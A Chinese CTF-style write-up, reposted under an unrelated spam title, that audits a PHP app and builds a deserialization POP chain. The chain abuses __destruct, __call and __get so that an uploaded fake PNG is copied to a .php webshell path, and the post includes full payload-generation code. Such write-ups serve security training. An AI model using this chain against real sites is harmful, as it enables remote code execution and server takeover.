您的位置:首页 > 健康 > 养生 > 广州现在还有疫情吗_12315可以查询营业执照吗_深圳网站推广公司_百度指数查询官网

广州现在还有疫情吗_12315可以查询营业执照吗_深圳网站推广公司_百度指数查询官网

2025/4/21 8:15:42 来源:https://blog.csdn.net/m0_70065235/article/details/143494763  浏览:    关键词:广州现在还有疫情吗_12315可以查询营业执照吗_深圳网站推广公司_百度指数查询官网
广州现在还有疫情吗_12315可以查询营业执照吗_深圳网站推广公司_百度指数查询官网

大家好,我是Dest1ny!

今天发一个好久没出的专题!

php反序列化的实战,代码审计!

顶尖web手必须翻越的一座山!


我就不搞前面上传图片的东西了hh

我们快进到代码审计那一块!


CLASS-1 先看hint

我们可以看一下源码里两个打断点的地方,这个很可能是突破口!

第一处

流程是:

  • 从 Cookie 中获取 user 数据。
  • 如果 Cookie 中有数据,则解码并反序列化,得到用户信息 $this->profile
  • $this->profile['ID'] 从数据库查询实际的用户数据 $this->profile_db
  • 比较数据库数据和 Cookie 数据是否一致:
    • 若一致,返回 1,表示验证成功。
    • 若不一致,返回 0,表示验证失败。

那么这里就一定是反序列化的入口,也就是我们payload攻击位置所在!

第二处

这里就是判断有没有注册,如果没有注册就去进行注册的功能点

那感觉只知道了payload输入的位置,但是我们需要去反序列化什么呢?

我们去看漏洞可能会出现的地方!

CLASS-2 分析可利用的漏洞

我们找到了一个文件上传的点

分析功能点:

  1. 文件上传:

    • 如果有文件上传,保存文件的临时路径 ($this->filename_tmp) 和新文件名 ($this->filename)。
    • 调用 ext_check() 检查文件扩展名是否为 PNG。
  2. 文件类型检查:

    • 如果扩展名符合要求,用 getimagesize() 检查文件是否为图片,再复制到目标路径。
    • 更新 $this->img 路径并调用 update_img() 更新数据库。
  3. 更新数据库:

    • update_img() 检查用户头像是否为空,若为空,则将新头像路径更新到数据库,并调用 update_cookie()

首先它只判断了图片后缀,如果我上传一个php一句话木马内容的东西,它都不会检测,算一个非常有可能的攻击点了!

如果有反序列化的可能,那我会结合上一个漏洞,因为你知道上传路径(大家可以去浮现一下web端),然后我如果可以控制filename,是不是就可以把图片上传上去之后改后缀名,之后直接连上去不就好了!

我们又发现这些值是public的!

那接下来就去找找看有什么魔法函数可以去修改这些值!

CLASS-3 魔法函数的寻找

找到get和call的魔法函数

我们如何去利用呢?

__get($name) 方法

__get 是一个“属性访问”魔术方法,它在访问不存在的属性时会被自动调用。也就是说,如果对象尝试访问的属性不存在,那么 PHP 会自动调用 __get 方法,并将尝试访问的属性名作为参数传递给它。在此方法中,代码返回了 $this->except[$name],这意味着当访问不存在的属性时,代码会在 except 数组中查找这个属性名,并返回相应的值。

__call($name, $arguments) 方法

__call 是一个“方法调用”魔术方法,用于在调用不存在的方法时自动触发。它接收两个参数:$name 表示调用的不存在的方法名称,$arguments 是一个数组,包含了传递给该方法的参数。在 __call 方法中,代码首先检查 $this->{$name} 是否存在(即检查对象是否有一个与 $name 同名的属性),如果存在,就会执行 $this->{$this->{$name}}($arguments)

那其实思路就来了!

CLASS-4 开始构建payload

首先是Register里的_destruct函数是一定会触发的,那先修改checker修改成profile,这样我们离文件上传点更上一步。

但是profile里没有index,那么就直接到call函数,call函数要去访问index属性(就是上面那个index,到call着也是携带的),发现没有这个属性,于是跳转到get上去,然后去访问index为键值的值,这时候我们可以直接去修改值,因为profile里的属性都是public里,再去绕过一下限制就行。

最后思路:

通过控制 filename_tmpfilename 变量,使伪装成 .png 扩展名的文件最终被移动为 .php 文件,从而实现代码执行的潜在风险。具体流程如下:

  1. 构造文件路径:上传文件时,将 filename_tmp 设置为上传文件的临时路径,并通过构造 filename.php 文件路径,例如 md5(文件名).php。由于 ext_check() 方法仅检查文件扩展名为 png 才继续执行,因此通过直接设置扩展名绕过了检查。

  2. 触发文件移动:进入 if($this->ext) 判断后,getimagesize($this->filename_tmp) 被调用。该函数仅检测文件格式,而非内容,因此伪装的 .php 文件仍可通过检查。接下来,@copy($this->filename_tmp, $this->filename); 将临时文件移动为 .php 文件,从而使恶意代码文件上传成功。

  3. 利用类的析构:创建 Register 类实例时,将 checker 属性指向 Profile 对象,并将 registed 设为 false。这样在 Register 对象析构时会触发 __destruct(),调用 Profile 对象的 index() 方法,而 index()__call 魔术方法捕获并转发至 upload_img(),最终执行上传文件。 

<?php
namespace app\web\controller;class Profile
{#因为是public,所以可以被修改public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];#检查except数组中是否存在$name,如果存在则返回except数组中$name的值}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);#如果name有值,则调用name的值}}}class Register
{public $checker;public $registed;//函数被销毁一定会触发destruct函数public function __destruct(){if(!$this->registed){$this->checker->index();//因为checker是Profile对象,所以会调用Profile的index方法,并且checker是公共的,所以可以进行修改}}}$profile = new Profile();
$profile->except = ['index' => 'img'];#修改index到值为img
$profile->img = "upload_img";#设置img的值为upload_img
$profile->ext = "png";#绕过后缀名检查
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";#修改文件名$register = new Register();
$register->registed = false;#触发destruct函数
$register->checker = $profile;#跳转profile类echo urlencode(base64_encode(serialize($register)));

ok完成!!!

希望大家给我点个赞,加个关注谢谢!!!!!

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com